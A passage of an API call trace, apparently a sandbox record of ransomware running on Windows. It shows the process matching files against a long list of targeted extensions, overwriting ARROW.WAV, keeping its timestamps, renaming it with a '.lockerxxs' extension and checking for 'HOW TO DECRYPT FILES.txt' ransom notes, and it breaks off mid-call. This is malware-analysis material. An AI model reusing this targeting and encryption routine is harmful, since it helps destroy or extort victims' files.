Office\\Office14\\MEDIA\\HOW TO DECRYPT FILES.txt" [0065.921] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\media\\how to decrypt files.txt")) returned 0x20 [0065.921] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\", lpString2="ARROW.WAV" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV" [0065.921] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV", pszSpec="*.ems") returned 0 [0065.921] lstrlenA (lpString="*.ems") returned 5 [0065.921] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV", pszSpec="*.db") returned 0 [0065.921] lstrlenA (lpString="*.db") returned 4 [0065.921] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV", pszSpec="*.dbf") returned 0 [0065.921] lstrlenA (lpString="*.dbf") returned 5 [0065.921] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV", pszSpec="*.myox") returned 0 [0065.921] lstrlenA (lpString="*.myox") returned 6 [0065.921] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV", pszSpec="*.myo") returned 0 [0065.921] lstrlenA (lpString="*.myo") returned 5 [0065.921] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV", pszSpec="*.qbw") returned 0 [0065.921] lstrlenA (lpString="*.qbw") returned 5 [0065.921] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV", pszSpec="*.qbb") returned 0 [0065.921] lstrlenA (lpString="*.qbb") returned 5 [0065.921] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV", pszSpec="*.qbm") returned 0 [0065.921] lstrlenA (lpString="*.qbm") returned 5 [0065.921] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV", pszSpec="*.qbo") returned 0 [0065.921] lstrlenA (lpString="*.qbo") returned 5 [0065.921] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV", pszSpec="*.qbx") returned 0 [0065.921] lstrlenA (lpString="*.qbx") returned 5 [0065.921] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV", pszSpec="*.qba") returned 0 [0065.921] lstrlenA (lpString="*.qba") returned 5 [0065.921] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV", pszSpec="*.qby") returned 0 [0065.921] lstrlenA (lpString="*.qby") returned 5 [0065.921] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV", pszSpec="*.qbj") returned 0 [0065.921] lstrlenA (lpString="*.qbj") returned 5 [0065.922] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV", pszSpec="*.ofx") returned 0 [0065.922] lstrlenA (lpString="*.ofx") returned 5 [0065.922] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV", pszSpec="*.qif") returned 0 [0065.922] lstrlenA (lpString="*.qif") returned 5 [0065.922] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV", pszSpec="*.mye") returned 0 [0065.922] lstrlenA (lpString="*.mye") returned 5 [0065.922] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV", pszSpec="*.mbox") returned 0 [0065.922] lstrlenA (lpString="*.mbox") returned 6 [0065.922] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV", pszSpec="*.eml") returned 0 [0065.922] lstrlenA (lpString="*.eml") returned 5 [0065.922] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV", pszSpec="*.pst") returned 0 [0065.922] lstrlenA (lpString="*.pst") returned 5 [0065.922] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV", pszSpec="*.ost") returned 0 [0065.922] lstrlenA (lpString="*.ost") returned 5 [0065.922] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV", pszSpec="*.idx") returned 0 [0065.922] lstrlenA (lpString="*.idx") returned 5 [0065.922] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV", pszSpec="*.dbx") returned 0 [0065.922] lstrlenA (lpString="*.dbx") returned 5 [0065.922] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV", pszSpec="*.sql") returned 0 [0065.922] lstrlenA (lpString="*.sql") returned 5 [0065.922] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV", pszSpec="*.mdb") returned 0 [0065.922] lstrlenA (lpString="*.mdb") returned 5 [0065.922] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV", pszSpec="*.fdb") returned 0 [0065.922] lstrlenA (lpString="*.fdb") returned 5 [0065.922] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV", pszSpec="*.wab") returned 0 [0065.922] lstrlenA (lpString="*.wab") returned 5 [0065.922] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV", pszSpec="*.dat") returned 0 [0065.922] lstrlenA (lpString="*.dat") returned 5 [0065.922] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV", pszSpec="*.txt") returned 0 [0065.922] lstrlenA (lpString="*.txt") returned 5 [0065.922] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV", pszSpec="*.jpeg") returned 0 [0065.923] lstrlenA (lpString="*.jpeg") returned 6 [0065.923] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV", pszSpec="*.jpg") returned 0 [0065.923] lstrlenA (lpString="*.jpg") returned 5 [0065.923] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV", pszSpec="*.png") returned 0 [0065.923] lstrlenA (lpString="*.png") returned 5 [0065.923] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV", pszSpec="*.php") returned 0 [0065.923] lstrlenA (lpString="*.php") returned 5 [0065.923] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV", pszSpec="*.cs") returned 0 [0065.923] lstrlenA (lpString="*.cs") returned 4 [0065.923] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV", pszSpec="*.cpp") returned 0 [0065.923] lstrlenA (lpString="*.cpp") returned 5 [0065.923] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV", pszSpec="*.rar") returned 0 [0065.923] lstrlenA (lpString="*.rar") returned 5 [0065.923] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV", pszSpec="*.zip") returned 0 [0065.923] lstrlenA (lpString="*.zip") returned 5 [0065.923] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV", pszSpec="*.html") returned 0 [0065.923] lstrlenA (lpString="*.html") returned 6 [0065.923] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV", pszSpec="*.htm") returned 0 [0065.923] lstrlenA (lpString="*.htm") returned 5 [0065.923] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV", pszSpec="*.xlsx") returned 0 [0065.923] lstrlenA (lpString="*.xlsx") returned 6 [0065.923] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV", pszSpec="*.xls") returned 0 [0065.923] lstrlenA (lpString="*.xls") returned 5 [0065.923] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV", pszSpec="*.mp4") returned 0 [0065.923] lstrlenA (lpString="*.mp4") returned 5 [0065.923] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV", pszSpec="*.ppt") returned 0 [0065.923] lstrlenA (lpString="*.ppt") returned 5 [0065.923] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV", pszSpec="*.pptx") returned 0 [0065.923] lstrlenA (lpString="*.pptx") returned 6 [0065.923] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV", pszSpec="*.doc") returned 0 [0065.923] lstrlenA (lpString="*.doc") returned 5 [0065.923] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV", pszSpec="*.dot") returned 0 [0065.924] lstrlenA (lpString="*.dot") returned 5 [0065.924] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV", pszSpec="*.docx") returned 0 [0065.924] lstrlenA (lpString="*.docx") returned 6 [0065.924] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV", pszSpec="*.7z") returned 0 [0065.924] lstrlenA (lpString="*.7z") returned 4 [0065.924] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV", pszSpec="*.tar") returned 0 [0065.924] lstrlenA (lpString="*.tar") returned 5 [0065.924] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV", pszSpec="*.bz2") returned 0 [0065.924] lstrlenA (lpString="*.bz2") returned 5 [0065.924] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV", pszSpec="*.gz") returned 0 [0065.924] lstrlenA (lpString="*.gz") returned 4 [0065.924] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV", pszSpec="*.mkv") returned 0 [0065.924] lstrlenA (lpString="*.mkv") returned 5 [0065.924] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV", pszSpec="*.eml") returned 0 [0065.924] lstrlenA (lpString="*.eml") returned 5 [0065.924] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV", pszSpec="*.msg") returned 0 [0065.924] lstrlenA (lpString="*.msg") returned 5 [0065.924] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV", pszSpec="*.edb") returned 0 [0065.924] lstrlenA (lpString="*.edb") returned 5 [0065.924] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV", pszSpec="*.accdb") returned 0 [0065.924] lstrlenA (lpString="*.accdb") returned 7 [0065.924] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV", pszSpec="*.odb") returned 0 [0065.924] lstrlenA (lpString="*.odb") returned 5 [0065.924] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV", pszSpec="*.java") returned 0 [0065.924] lstrlenA (lpString="*.java") returned 6 [0065.924] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV", pszSpec="*.asm") returned 0 [0065.924] lstrlenA (lpString="*.asm") returned 5 [0065.924] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV", pszSpec="*.pfx") returned 0 [0065.924] lstrlenA (lpString="*.pfx") returned 5 [0065.925] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV", pszSpec="*.pem") returned 0 [0065.925] lstrlenA (lpString="*.pem") returned 5 [0065.925] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV", pszSpec="*.p12") returned 0 [0065.925] lstrlenA (lpString="*.p12") returned 5 [0065.925] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV", pszSpec="*.gpg") returned 0 [0065.925] lstrlenA (lpString="*.gpg") returned 5 [0065.925] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV", pszSpec="*.vsd") returned 0 [0065.925] lstrlenA (lpString="*.vsd") returned 5 [0065.925] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV", pszSpec="*.odg") returned 0 [0065.925] lstrlenA (lpString="*.odg") returned 5 [0065.925] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV", pszSpec="*.raw") returned 0 [0065.925] lstrlenA (lpString="*.raw") returned 5 [0065.925] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV", pszSpec="*.nef") returned 0 [0065.925] lstrlenA (lpString="*.nef") returned 5 [0065.925] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV", pszSpec="*.svg") returned 0 [0065.925] lstrlenA (lpString="*.svg") returned 5 [0065.925] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV", pszSpec="*.psd") returned 0 [0065.925] lstrlenA (lpString="*.psd") returned 5 [0065.925] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV", pszSpec="*.vmx") returned 0 [0065.925] lstrlenA (lpString="*.vmx") returned 5 [0065.925] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV", pszSpec="*.vmdk") returned 0 [0065.925] lstrlenA (lpString="*.vmdk") returned 6 [0065.925] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV", pszSpec="*.vdi") returned 0 [0065.925] lstrlenA (lpString="*.vdi") returned 5 [0065.925] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV", pszSpec="*.lay6") returned 0 [0065.925] lstrlenA (lpString="*.lay6") returned 6 [0065.925] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV", pszSpec="*.mpeg") returned 0 [0065.925] lstrlenA (lpString="*.mpeg") returned 6 [0065.925] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV", pszSpec="*.djvu") returned 0 [0065.925] lstrlenA (lpString="*.djvu") returned 6 [0065.925] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV", pszSpec="*.tiff") returned 0 [0065.925] lstrlenA (lpString="*.tiff") returned 6 [0065.926] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV", pszSpec="*.backup") returned 0 [0065.926] lstrlenA (lpString="*.backup") returned 8 [0065.926] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV", pszSpec="*.pdf") returned 0 [0065.926] lstrlenA (lpString="*.pdf") returned 5 [0065.926] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV", pszSpec="*.cert") returned 0 [0065.926] lstrlenA (lpString="*.cert") returned 6 [0065.926] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV", pszSpec="*.docm") returned 0 [0065.926] lstrlenA (lpString="*.docm") returned 6 [0065.926] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV", pszSpec="*.xlsm") returned 0 [0065.926] lstrlenA (lpString="*.xlsm") returned 6 [0065.926] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV", pszSpec="*.dwg") returned 0 [0065.926] lstrlenA (lpString="*.dwg") returned 5 [0065.926] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV", pszSpec="*.nd") returned 0 [0065.926] lstrlenA (lpString="*.nd") returned 4 [0065.926] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV", pszSpec="*.tlg") returned 0 [0065.926] lstrlenA (lpString="*.tlg") returned 5 [0065.926] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV", pszSpec="*.lgb") returned 0 [0065.926] lstrlenA (lpString="*.lgb") returned 5 [0065.926] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV", pszSpec="*.mov") returned 0 [0065.926] lstrlenA (lpString="*.mov") returned 5 [0065.926] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV", pszSpec="*.xdw") returned 0 [0065.926] lstrlenA (lpString="*.xdw") returned 5 [0065.926] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV", pszSpec="*.ods") returned 0 [0065.926] lstrlenA (lpString="*.ods") returned 5 [0065.926] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV", pszSpec="*.wav") returned 1 [0065.926] lstrlenA (lpString="*.wav") returned 5 [0065.926] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV" [0065.926] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV" [0065.926] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV", lpString2="." | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV.") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV." [0065.926] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV.lockerxxs") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV.lockerxxs" [0065.926] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\arrow.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0065.927] GetFileSize (in: hFile=0x8c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x59f6 [0065.927] GetFileTime (in: hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xdb46b000, dwHighDateTime=0x1bfbeee), lpLastAccessTime=0x407536*(dwLowDateTime=0x5ed57890, dwHighDateTime=0x1d301bf), lpLastWriteTime=0x40753e*(dwLowDateTime=0xdb46b000, dwHighDateTime=0x1bfbeee)) returned 1 [0065.927] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0065.927] ReadFile (in: hFile=0x8c, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x59d0, lpOverlapped=0x0) returned 1 [0065.960] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV") returned="ARROW.WAV" [0065.960] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0065.960] WriteFile (in: hFile=0x8c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x59d0, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x59d0, lpOverlapped=0x0) returned 1 [0065.961] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0065.961] CloseHandle (hObject=0x8c) returned 1 [0065.965] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\arrow.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\media\\arrow.wav.lockerxxs")) returned 1 [0065.965] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90776900, ftCreationTime.dwHighDateTime=0x1bfbeeb, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x90776900, ftLastWriteTime.dwHighDateTime=0x1bfbeeb, nFileSizeHigh=0x0, nFileSizeLow=0x2f676, dwReserved0=0x3000003, dwReserved1=0x4f6000, cFileName="BOMB.WAV", cAlternateFileName="")) returned 1 [0065.965] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0065.965] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BOMB.WAV") returned 1 [0065.965] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BOMB.WAV") returned 1 [0065.966] lstrcmpiA (lpString1="", lpString2="BOMB.WAV") returned -1 [0065.966] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV") returned="ARROW.WAV" [0065.966] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" [0065.966] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\") returned="" [0065.966] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\HOW TO DECRYPT FILES.txt" [0065.966] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\media\\how to decrypt files.txt")) returned 0x20 [0065.966] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\", lpString2="BOMB.WAV" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV" [0065.966] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV", pszSpec="*.ems") returned 0 [0065.966] lstrlenA (lpString="*.ems") returned 5 [0065.966] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV", pszSpec="*.db") returned 0 [0065.966] lstrlenA (lpString="*.db") returned 4 [0065.966] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV", pszSpec="*.dbf") returned 0 [0065.966] lstrlenA (lpString="*.dbf") returned 5 [0065.966] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV", pszSpec="*.myox") returned 0 [0065.966] lstrlenA (lpString="*.myox") returned 6 [0065.966] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV", pszSpec="*.myo") returned 0 [0065.966] lstrlenA (lpString="*.myo") returned 5 [0065.966] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV", pszSpec="*.qbw") returned 0 [0065.966] lstrlenA (lpString="*.qbw") returned 5 [0065.966] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV", pszSpec="*.qbb") returned 0 [0065.966] lstrlenA (lpString="*.qbb") returned 5 [0065.966] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV", pszSpec="*.qbm") returned 0 [0065.966] lstrlenA (lpString="*.qbm") returned 5 [0065.966] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV", pszSpec="*.qbo") returned 0 [0065.966] lstrlenA (lpString="*.qbo") returned 5 [0065.966] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV", pszSpec="*.qbx") returned 0 [0065.966] lstrlenA (lpString="*.qbx") returned 5 [0065.967] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV", pszSpec="*.qba") returned 0 [0065.967] lstrlenA (lpString="*.qba") returned 5 [0065.967] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV", pszSpec="*.qby") returned 0 [0065.967] lstrlenA (lpString="*.qby") returned 5 [0065.967] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV", pszSpec="*.qbj") returned 0 [0065.967] lstrlenA (lpString="*.qbj") returned 5 [0065.967] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV", pszSpec="*.ofx") returned 0 [0065.967] lstrlenA (lpString="*.ofx") returned 5 [0065.967] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV", pszSpec="*.qif") returned 0 [0065.967] lstrlenA (lpString="*.qif") returned 5 [0065.967] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV", pszSpec="*.mye") returned 0 [0065.967] lstrlenA (lpString="*.mye") returned 5 [0065.967] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV", pszSpec="*.mbox") returned 0 [0065.967] lstrlenA (lpString="*.mbox") returned 6 [0065.967] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV", pszSpec="*.eml") returned 0 [0065.967] lstrlenA (lpString="*.eml") returned 5 [0065.967] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV", pszSpec="*.pst") returned 0 [0065.967] lstrlenA (lpString="*.pst") returned 5 [0065.967] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV", pszSpec="*.ost") returned 0 [0065.967] lstrlenA 